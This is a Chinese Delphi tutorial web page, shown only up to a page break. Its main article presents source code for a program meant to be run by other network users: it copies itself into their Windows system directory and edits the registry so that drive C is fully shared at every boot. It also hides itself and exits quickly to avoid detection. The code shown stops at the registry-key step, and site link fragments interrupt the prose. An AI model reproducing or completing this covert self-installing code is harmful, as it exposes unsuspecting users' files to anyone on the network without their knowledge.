当前位置:首页 » 软件开发
开发技术指南» 文章正文
    引言: 为什么我的C盘每次启动后都是完全共享?看看以下这个程序就明白了,噢,索叻是叻:) 此程序当网络上其他用户执行后,会自己复制一份到该用户Windows的system目录下,,并修改该机的注册表,使该机的C盘自动改为完全共享,且每次启动机子后都会重新修改注册表,当然,为了不让别人看出执行的程序,该程...
 

 

 ·delphi中巧妙利用res文件    »显示摘要«
    摘要:作者: 苏涌 在delphi项目中,通常有一个与项目名称主文件名相同的.res文件,该文件用于保存应用程序图标等资源,对应于此文件,在项目文件中一定含有编译指示“{$r *.res}”,告诉编译器编译时需要包含与项目主文件名相同的.res文件。同样,如果需要在应用程序中以资源形式包含任何文件类型,也可以利用.res文件。本文将告诉你如何利用res文件在delphi程序内部包含文件。 一创建.r......
    摘要:如何在程序中动态取得win95/98的网络邻居中的工作组及计算机名? 可参考下面代码,或许有所帮助: procedure getdomainlist(tv:ttreeview); var a : integer; errcode : integer; netres : array[0..1023] of tnetresource; enumhandle : thandle; enu......


如何让C盘每次启动后都是完全共享
为什么我的c盘每次启动后都是完全共享?看看以下这个程序就明白了,噢,索叻是叻:)

    此程序当网络上其他用户执行后,会自己复制一份到该用户windows的system目录下,,并修改该机的注册表,使该机的c盘自动改为完全共享,且每次启动机子后都会重新修改注册表,当然,为了不让别人看出执行的程序,该程序执行时不会在任务栏显示,本身也不回显,执行一秒钟后程序自动退出,不易被发觉. 【程序编程相关:轻轻松松在DELPHI3.0中实现三态按

【推荐阅读:在Delphi中实现对目录拷贝、删除和搬

来看源程序吧,该程序在delphi5.0中通过: 【扩展信息:在Delphi编程中创建一个启动闪现窗口

    首先将mainform的borderstyle属性设为bsnone,由于要修改注册表及复制文件,再在uses中加入 registry,shellapi;

    大家注意程序中的注释:

procedure tmainform.formshow(sender: tobject);

var

  myreg:tregistry;

  mysyspath:pchar;

  f:tshfileopstruct;

  file_to,file_from:string;

begin

  //得到用户机系统目录

  getmem(mysyspath,255);

  getsystemdirectory(mysyspath,255);

  //文件名 file_to:=mysyspath+\sysdef.exe;

  //复制目标文件名 file_from:=application.exename;

  //复制源文件名

  //以下为注册表修改

  myreg:=tregistry.create;

  myreg.rootkey :=hkey_local_machine;

  try

    if not myreg.openkey (\software\microsoft\windows\currentversion\network\lanman\c,true) then ;


...   下一页
 ·delphi如何实现文件关联    »显示摘要«
    摘要:关联是windows的一个显著特性。比如安装了office后,后缀是.doc的文 件会和word关联在一起。如果我们想自己创建关联关系,就必须从注册表入手。下 面的代码会把后缀是.me的文件和notepad关联在一起,请参阅: procedure tform1.button1click(sender: tobject); var lphkey: hkey; skeyname: string;......
» 本期热门文章:

©2000-2007 All Rights Reserved. 最佳浏览:1024X768 MSIE